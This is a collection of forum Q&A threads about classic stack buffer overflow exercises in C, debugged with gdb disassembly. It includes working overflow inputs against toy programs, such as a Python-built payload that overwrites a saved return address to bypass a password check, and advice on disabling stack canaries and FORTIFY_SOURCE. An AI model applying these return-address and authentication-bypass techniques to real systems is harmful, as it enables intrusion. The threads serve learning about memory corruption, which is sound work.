I have been following this tutorial at http://insecure.org/stf/smashstack.html but at example3.c my function return address doesn't correspond to the logic he implies. I can understand how the return address can be changed at a function but doing it on my computer just doesn't do the trick. I have used -fno-stack-protector and gdb with info registers and disassemble main and also disassemble the function but to no avail. I'm kinda new to Assembly.
My computer is running xubuntu 14 32bits.
My gcc instruction is: gcc -Wall -ansi -g -fno-stack-protector example3.c
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------
gdb disassemble on main with a breakpoint on function call
(gdb) disassemble main
Dump of assembler code for function main:
0x0804843b <+0>: push %ebp
0x0804843c <+1>: mov %esp,%ebp
0x0804843e <+3>: and $0xfffffff0,%esp
0x08048441 <+6>: sub $0x20,%esp
0x08048444 <+9>: movl $0x0,0x1c(%esp)
=> 0x0804844c <+17>: movl $0x3,0x8(%esp)
0x08048454 <+25>: movl $0x2,0x4(%esp)
0x0804845c <+33>: movl $0x1,(%esp)
0x08048463 <+40>: call 0x804841d <function>
0x08048468 <+45>: movl $0x1,0x1c(%esp)
0x08048470 <+53>: mov 0x1c(%esp),%eax
0x08048474 <+57>: mov %eax,0x4(%esp)
0x08048478 <+61>: movl $0x8048520,(%esp)
0x0804847f <+68>: call 0x80482f0 <printf#plt>
0x08048484 <+73>: leave
0x08048485 <+74>: ret
End of assembler dump.
(gdb) disassemble function
Dump of assembler code for function function:
0x0804841d <+0>: push %ebp
0x0804841e <+1>: mov %esp,%ebp
0x08048420 <+3>: sub $0x20,%esp
=> 0x08048423 <+6>: lea -0x9(%ebp),%eax
0x08048426 <+9>: add $0xc,%eax
0x08048429 <+12>: mov %eax,-0x4(%ebp)
0x0804842c <+15>: mov -0x4(%ebp),%eax
0x0804842f <+18>: mov (%eax),%eax
0x08048431 <+20>: lea 0x8(%eax),%edx
0x08048434 <+23>: mov -0x4(%ebp),%eax
0x08048437 <+26>: mov %edx,(%eax)
0x08048439 <+28>: leave
0x0804843a <+29>: ret
End of assembler dump.
At line 9 of function, *ret points to a completely different address
9 (*ret) += 8;
(gdb) p/x *ret
$1 = 0x48468c7 (already with the + 8)
So to clarify, this program is supose to print 0 since the return was changed to jump over the x = 1 instruction.
My question is, why isn't *ret pointing to an address that is somewhat close to main's corresponding addresses?
I'm sorry for my English.
Best regards,
Vcoder
Your tutorial is about some very old compiler.
Lets handle experiment (say gcc 4.8.1, 64-bit Win32) with identical results:
Step 1. Identify where function really starts:
(gdb) disassemble function
Dump of assembler code for function function:
=> 0x00000000004014f0 <+0>: push %rbp
Step 2. Store somewhere its address and break here
(gdb) b *0x00000000004014f0
Breakpoint 1 at 0x4014f0: file test3.c, line 1.
(gdb) r
Breakpoint 1, function (a=1, b=4200201, c=4) at test3.c:1
1 void function(int a, int b, int c) {
Step 3. Okay, here we are. Lets explore where do our return address stored:
(gdb) p $rsp
$1 = (void *) 0x22fe18
(gdb) x 0x22fe18
0x22fe18: 0x0040154c
Wow. Lets check inside main:
0x0000000000401547 <+36>: callq 0x4014f0 <function>
0x000000000040154c <+41>: movl $0x1,-0x4(%rbp)
Step 4. Looks like we found it. Store somewhere value of $rsp=0x22fe18 and now lets see what is buffer starts:
7 (*ret) += 8;
(gdb) p &buffer1[0]
$2 = 0x22fe00 "`\035L"
So buffer[0] address is 0x22fe18 - 0x22fe00 = 0x18 from our target. Not 0xc, as in your example, uh-oh.
P.S. On your compiler and OS, and your optimization options it might be not 0x18, but other value. Try. Experiment. Being hacker is about experimenting, not about running someones scripts.
Good luck.
Related
I was reading Hacking: The Art of Exploitation by Jon Erickson, and followed the example in the book in my Kali Linux system (64 bit).
I wrote a simple C program:
#include<stdio.h>
int main()
{
int i;
for(i=0;i<10;i++)
{
printf("Hello");
}
}
After using objdump and gdb to examine the executable, I found something strange.
As the picture shows, the main function was in the "0x000000000000063a".
But the breakpoint info after the gdb "run" command, it seems that the program stopped at 63e rather than 63a.
Another peculiar thing is that the value in the instruction pointer (rip) was 0x55555555463e.
Shouldn't it be 0x000000000000063a?
Where do those 5s come from?
GDB sets breakpoints on useful code for a function if you don't set an asterisk. It omits all preparation for a function(prologue). To make it clear try to debug the following code:
#include <stdio.h>
int main()
{
int i=10;
i++;
return 0;
}
Gdb session:
(gdb) b main
Breakpoint 1 at 0x80483e1
(gdb) b *main
Breakpoint 2 at 0x80483db
(gdb) r
Starting program: /home/src/main
Breakpoint 2, 0x080483db in main ()
(gdb) disas
Dump of assembler code for function main:
=> 0x080483db <+0>: push ebp
0x080483dc <+1>: mov ebp,esp
0x080483de <+3>: sub esp,0x10
0x080483e1 <+6>: mov DWORD PTR [ebp-0x4],0xa
0x080483e8 <+13>: add DWORD PTR [ebp-0x4],0x1
0x080483ec <+17>: mov eax,0x0
0x080483f1 <+22>: leave
0x080483f2 <+23>: ret
End of assembler dump.
(gdb) c
Continuing.
Breakpoint 1, 0x080483e1 in main ()
(gdb) disas
Dump of assembler code for function main:
0x080483db <+0>: push ebp
0x080483dc <+1>: mov ebp,esp
0x080483de <+3>: sub esp,0x10
=> 0x080483e1 <+6>: mov DWORD PTR [ebp-0x4],0xa
0x080483e8 <+13>: add DWORD PTR [ebp-0x4],0x1
0x080483ec <+17>: mov eax,0x0
0x080483f1 <+22>: leave
0x080483f2 <+23>: ret
End of assembler dump.
in this case, preparation to execute useful code of the function is :
0x080483db <+0>: push ebp
0x080483dc <+1>: mov ebp,esp
0x080483de <+3>: sub esp,0x10
first instruction in main:
int i=10;
compiled into:
mov DWORD PTR [ebp-0x4],0xa
GDB set a breakpoint on the instruction, when we give the command b main
But if we use the command with an asterisk(pointer) b *main we set a breakpoint on the actual address of the function(on first instruction of prologue).
In OP case, if we set breakpoint by break *main and then run, the instruction pointer register(rip) will have the value 0x55555555463a
I'm learning about basic buffer overflows, and I have the following C code:
int your_fcn()
{
char buffer[4];
int *ret;
ret = buffer + 8;
(*ret) += 16;
return 1;
}
int main()
{
int mine = 0;
int yours = 0;
yours = your_fcn();
mine = yours + 1;
if(mine > yours)
printf("You lost!\n");
else
printf("You won!\n");
return EXIT_SUCCESS;
}
My goal is to bypass the line mine = yours + 1;, skip straight to the if statement comparison, so I can "win". main() cannot be touched, only your_fcn() can.
My approach is to override the return address with a buffer overflow. So in this case, I identified that the return address should be 8 bytes away from buffer, since buffer is 4 bytes and EBP is 4 bytes. I then used gdb to identify that the line I want to jump to is 16 bytes away from the function call. Here is the result from gdb:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000054a <+0>: lea 0x4(%esp),%ecx
0x0000054e <+4>: and $0xfffffff0,%esp
0x00000551 <+7>: pushl -0x4(%ecx)
0x00000554 <+10>: push %ebp
0x00000555 <+11>: mov %esp,%ebp
0x00000557 <+13>: push %ebx
0x00000558 <+14>: push %ecx
0x00000559 <+15>: sub $0x10,%esp
0x0000055c <+18>: call 0x420 <__x86.get_pc_thunk.bx>
0x00000561 <+23>: add $0x1a77,%ebx
0x00000567 <+29>: movl $0x0,-0xc(%ebp)
0x0000056e <+36>: movl $0x0,-0x10(%ebp)
0x00000575 <+43>: call 0x51d <your_fcn>
0x0000057a <+48>: mov %eax,-0x10(%ebp)
0x0000057d <+51>: mov -0x10(%ebp),%eax
0x00000580 <+54>: add $0x1,%eax
0x00000583 <+57>: mov %eax,-0xc(%ebp)
0x00000586 <+60>: mov -0xc(%ebp),%eax
0x00000589 <+63>: cmp -0x10(%ebp),%eax
0x0000058c <+66>: jle 0x5a2 <main+88>
0x0000058e <+68>: sub $0xc,%esp
0x00000591 <+71>: lea -0x1988(%ebx),%eax
I see the line 0x00000575 <+43>: call 0x51d <your_fcn> and 0x00000583 <+57>: mov %eax,-0xc(%ebp) are four lines away from each other, which tells me I should offset ret by 16 bytes. But the address from gdb says something different. That is, the function call starts on 0x00000575 and the line I want to jump to is on 0x00000583, which means that they are 15 bytes away?
Either way, whether I use 16 bytes or 15 bytes, I get a segmentation fault error and I still "lose".
Question: What am I doing wrong? Why don't the address given in gdb go by 4 bytes at a time and what's actually going on here. How can I correctly jump to the line I want?
Clarification: This is being done on a x32 machine on a VM running linux Ubuntu. I'm compiling with the command gcc -fno-stack-protector -z execstack -m32 -g guesser.c -o guesser.o, which turns stack protector off and forces x32 compilation.
gdb of your_fcn() as requested:
(gdb) disassemble your_fcn
Dump of assembler code for function your_fcn:
0x0000051d <+0>: push %ebp
0x0000051e <+1>: mov %esp,%ebp
0x00000520 <+3>: sub $0x10,%esp
0x00000523 <+6>: call 0x5c3 <__x86.get_pc_thunk.ax>
0x00000528 <+11>: add $0x1ab0,%eax
0x0000052d <+16>: lea -0x8(%ebp),%eax
0x00000530 <+19>: add $0x8,%eax
0x00000533 <+22>: mov %eax,-0x4(%ebp)
0x00000536 <+25>: mov -0x4(%ebp),%eax
0x00000539 <+28>: mov (%eax),%eax
0x0000053b <+30>: lea 0xc(%eax),%edx
0x0000053e <+33>: mov -0x4(%ebp),%eax
0x00000541 <+36>: mov %edx,(%eax)
0x00000543 <+38>: mov $0x1,%eax
0x00000548 <+43>: leave
0x00000549 <+44>: ret
x86 has variable length instructions, so you cannot simply count instructions and multiply by 4. Since you have the output from gdb, trust it to determine the address of each instruction.
The return address from the function is the address after the call instruction. In the code shown, this would be main+48.
The if statement starts at main+60, not main+57. The instruction at main+57 stores yours+1 into mine. So to adjust the return address to return to the if statement, you should add 12 (that is, 60 - 48).
Doing that skips the assignments to both yours and mine. Since they are both initialized to 0, it will print "You won".
return_address is obtain by writing a small piece of assembly code getting the ebp and hence we can get the return address by increment the ebp by 4.
Here return_address is of type int but we can cast it to int*
int extract_function_address(int return_address) {
int *offset_address_ptr = (int*)(return_address - 5 + 1);
int offset = *offset_address_ptr;
int func_address = return_address + offset;
return func_address;
}
I use gdb to step through it
(gdb) disas bar
Dump of assembler code for function bar:
0x08048304 <+0>: push %ebp
0x08048305 <+1>: mov %esp,%ebp
0x08048307 <+3>: sub $0x8,%esp
0x0804830a <+6>: mov 0xc(%ebp),%eax
0x0804830d <+9>: mov 0x8(%ebp),%edx
0x08048310 <+12>: add %edx,%eax
0x08048312 <+14>: mov %eax,-0x4(%ebp)
0x08048315 <+17>: mov -0x4(%ebp),%eax
0x08048318 <+20>: mov %eax,0x8(%ebp)
0x0804831b <+23>: mov 0x81e2460,%eax
0x08048320 <+28>: mov %eax,(%esp)
0x08048323 <+31>: call 0x8048358 <traceback>
0x08048328 <+36>: leave
0x08048329 <+37>: ret
End of assembler dump.
(gdb) disas foo
Dump of assembler code for function foo:
0x0804832a <+0>: push %ebp
0x0804832b <+1>: mov %esp,%ebp
0x0804832d <+3>: sub $0x8,%esp
0x08048330 <+6>: movl $0x11,0x4(%esp)
0x08048338 <+14>: movl $0x5,(%esp)
0x0804833f <+21>: call 0x8048304 <bar>
0x08048344 <+26>: leave
0x08048345 <+27>: ret
End of assembler dump.
I passed return address as 0x08048344 to the function. The offset will be -64 and the return value will be 0x8048304 which is the starting address of bar.
Why is this work?
This is the C file where bar and foo locate
#include "traceback.h"
#include <stdio.h>
void bar(int x, int y)
{
int z;
z = x + y;
traceback(stdout);
}
void foo() {
bar (5,17);
}
int main (int argc, char **argv)
{
foo();
return 0;
}
I put that piece of code in traceback(FILE *fp).
A call instruction assembles to E8 AA BB CC DD where AA BB CC DD is the offset of the target function from the instruction following the call, i.e. from the return address. Try x/5bx 0x0804833f in gdb to see the encoded instruction. Note that the offset would be in little endian byte order.
Therefore, (return_address - 5 + 1) points to the offset of the call instruction. offset = *offset_address_ptr reads this offset from the call instruction and return_address + offset points to the target function.
I'm not sure, but it looks like the code fethes call-address from the instruction just before the return location.
I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
I'm using gdb to analyse the stack and this is what I have:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf#plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit#plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes
So with 14 'A' input, i.e. ./stackoverflowtest $(perl -e 'print "A" x 14') it should take me to "Allowed".
Where am I going wrong? What is the needed input to cause a overflow?
ASLR and gcc canaries are turned off.
check_auth1 assembly dump:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy#plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
This is quite easy to exploit, here is the way to walk through.
First compile it with -g, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved eip of check_auth1() and move it to the else-part of the test in the main() function.
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
We stopped at check_auth1() and displayed the stack frame. We saw that the saved eip is stored in the stack at 0xffffd2ec and contains 0x804853f.
Let see to what it does lead:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf#plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit#plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts#plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts#plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
But the truth is that we want to avoid to go through the cmpl $0x1,0x1c(%esp) and go directly to the else-part of the test. Meaning that we want to jump to 0x08048558.
Anyway, lets first try to see if our 28 'A' are enough to rewrite the saved eip.
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
Here, the strcpy did the overflow, so lets look at the stack-frame:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Indeed, we rewrote the saved eip with 'A' (0x41 is the hexadecimal code for A). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.
One thing is that you need to reorder the bytes to take the little-endianess into account. So, 0x08048558 will become \x58\x85\x04\x08.
Finally, you will also need to write some meaningful address for the saved ebp value (not AAAA), so my trick is just to double the last address like this:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
Note that there is no need to disable the ASLR, because you are jumping in the .text section (and this section do no move under the ASLR). But, you definitely need to disable canaries.
EDIT: I was wrong about replacing the saved ebp by our saved eip. In fact, if you do not give the right ebp you will hit a segfault when attempting to exit from main. This is because, we did set the saved ebp to somewhere in the .text section and, even if there is no problem when returning from check_auth1, the stack frame will be restored improperly when returning in the main function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved ebp we wrote (and pointing to the instructions) will be mistaken with the saved eip of main. So, either you disable the ASLR and write the correct address of the saved ebp (0xffffd330) which will lead to
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
Or, you need to perform a ROP that will perform a clean exit(0) (which is usually quite easy to achieve).
you're checking against 1 exactly; change it to (the much more normal style for c programming)
if (! authenticated) {
and you'll see that it is working (or run it in gdb, or print out the flag value, and you'll see that the flag is being overwritten nicely, it's just not 1).
remember that an int is made of multiple chars. so setting a value of exactly 1 is hard, because many of those chars need to be zero (which is the string terminator). instead you are getting a value like 13363 (for the password 12345678901234).
[huh; valgrind doesn't complain even with the overflow.]
UPDATE
ok, here's how to do it with the code you have. we need a string with 13 characters, where the final character is ASCII 1. in bash:
> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.
where i am using
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
also, i am relying on the compiler setting some unused bytes to zero (little endian; 13th byte is 1 14-16th are 0). it works with gcc bo.c but not with gcc -O3 bo.c.
the other answer here gets around this by walking on to the next place that can be overwritten usefully (i assumed you were targeting the auth_flag variable since you placed it directly after the password).
strcpy(password_buffer, password);
One of the things you will need to address during testing is this function call. If the program seg faults, then it could be because of FORTIFY_SOURCE. I'd like to say "crashes unexpectedly", but I don't think that applies here ;)
FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().
To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.
The code below is from the well-known article Smashing The Stack For Fun And Profit.
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret)+=8;
}
void main() {
int x;
x=0;
function(1,2,3);
x=1;
printf("%d\n",x);
}
I think I must explain my target of this code.
The stack model is below. The number below the word is the number of bytes of the variable in the stack. So, if I want to rewrite RET to skip the statement I want, I calculate the offset from buffer1 to RET is 8+4=12. Since the architecture is x86 Linux.
buffer2 buffer1 BSP RET a b c
(12) (8) (4) (4) (4) (4) (4)
I want to skip the statement x=1; and let printf() output 0 on the screen.
I compile the code with:
gcc stack2.c -g
and run it in gdb:
gdb ./a.out
gdb gives me the result like this:
Program received signal SIGSEGV, Segmentation fault.
main () at stack2.c:17
17 x = 1;
I think Linux uses some mechanism to protect against stack overflow. Maybe Linux stores the RET address in another place and compares the RET address in the stack before functions return.
And what is the detail about the mechanism? How should I rewrite the code to make the program output 0?
OK,the disassemble code is below.It comes form the output of gdb since I think is more easy to read for you.And anybody can tell me how to paste a long code sequence?Copy and paste one by one makes me too tired...
Dump of assembler code for function main:
0x08048402 <+0>: push %ebp
0x08048403 <+1>: mov %esp,%ebp
0x08048405 <+3>: sub $0x10,%esp
0x08048408 <+6>: movl $0x0,-0x4(%ebp)
0x0804840f <+13>: movl $0x3,0x8(%esp)
0x08048417 <+21>: movl $0x2,0x4(%esp)
0x0804841f <+29>: movl $0x1,(%esp)
0x08048426 <+36>: call 0x80483e4 <function>
0x0804842b <+41>: movl $0x1,-0x4(%ebp)
0x08048432 <+48>: mov $0x8048520,%eax
0x08048437 <+53>: mov -0x4(%ebp),%edx
0x0804843a <+56>: mov %edx,0x4(%esp)
0x0804843e <+60>: mov %eax,(%esp)
0x08048441 <+63>: call 0x804831c <printf#plt>
0x08048446 <+68>: mov $0x0,%eax
0x0804844b <+73>: leave
0x0804844c <+74>: ret
Dump of assembler code for function function:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $0x14,%esp
0x080483ea <+6>: lea -0x9(%ebp),%eax
0x080483ed <+9>: add $0x3,%eax
0x080483f0 <+12>: mov %eax,-0x4(%ebp)
0x080483f3 <+15>: mov -0x4(%ebp),%eax
0x080483f6 <+18>: mov (%eax),%eax
0x080483f8 <+20>: lea 0x8(%eax),%edx
0x080483fb <+23>: mov -0x4(%ebp),%eax
0x080483fe <+26>: mov %edx,(%eax)
0x08048400 <+28>: leave
0x08048401 <+29>: ret
I check the assemble code and find some mistake about my program,and I have rewrite (*ret)+=8 to (*ret)+=7,since 0x08048432 <+48>minus0x0804842b <+41> is 7.
Because that article is from 1996 and the assumptions are incorrect.
Refer to "Smashing The Modern Stack For Fun And Profit"
http://www.ethicalhacker.net/content/view/122/24/
From the above link:
However, the GNU C Compiler (gcc) has evolved since 1998, and as a result, many people are left wondering why they can't get the examples to work for them, or if they do get the code to work, why they had to make the changes that they did.
The function function overwrites some place of the stack outside of its own, which is this case is the stack of main. What it overwrites I don't know, but it causes the segmentation fault you see. It might be some protection employed by the operating system, but it might as well be the generated code just does something wrong when wrong value is at that position on the stack.
This is a really good example of what may happen when you write outside of your allocated memory. It might crash directly, it might crash somewhere completely different, or if might not crash at all but instead just do some calculation wrong.
Try ret = buffer1 + 3;
Explanation: ret is an integer pointer; incrementing it by 1 adds 4 bytes to the address on 32bit machines.